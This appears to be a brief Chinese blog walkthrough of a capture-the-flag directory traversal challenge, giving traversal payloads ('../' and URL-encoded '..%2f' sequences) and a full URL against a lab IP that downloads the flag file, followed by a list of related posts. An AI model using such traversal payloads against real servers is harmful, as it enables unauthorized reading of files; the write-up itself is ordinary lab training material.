1.阅读靶场介绍
这里博主捕获到的关键字眼是
目录遍历漏洞
2.启动靶场
如下图所示
3.poc
这里就是构造目录遍历路径
../../../../../../../或者..%2f..%2f..%2f..%2f..%2f
这里博主构造完下面的路径弹出一个文件下载
http://39.106.48.123:39628/..%2f..%2f..%2f..%2f..%2fflag
各位可以参考参考
相关推荐
名字还没想好☜36 分钟前
Docker 容器安全加固实战:非 root、只读根文件系统、drop capabilities 与最小攻击面华普微HOPERF2 小时前
数字隔离器，光伏微型逆变系统中的安全核“芯”DM今天肝到几点？2 小时前
AI 安全进入「攻防同频」：Gemini 3.8 Flash Cyber 上线、Astra 触及关键级、HiddenLayer 融资 1 亿美元来让爷抱一个3 小时前
2026 智能体安全实战：把护栏写进SPEC，MonkeyCode 云端跑通sungtv3 小时前
大型厂房钢结构施工安全生产动画聚焦哪些风险点Neighbor_OldY4 小时前
云上安全配置审计与误配置修复实战：从安全组、OSS、RAM到数据库的全栈排查复盘Latticy5 小时前
vulnhub系列靶机-Photographer磐时信息技术7 小时前
SASETalk | 当智能驾驶驶入未知场景：谈谈关于SOTIF、AI安全与工程落地的思考Chengbei118 小时前
SRC报告成稿 Skill（SRC/0day 提交稿、分层验证门、Step 式 PoC、截图铁律）一只鹿鹿鹿8 小时前
SCM流程图参考（PPT文件）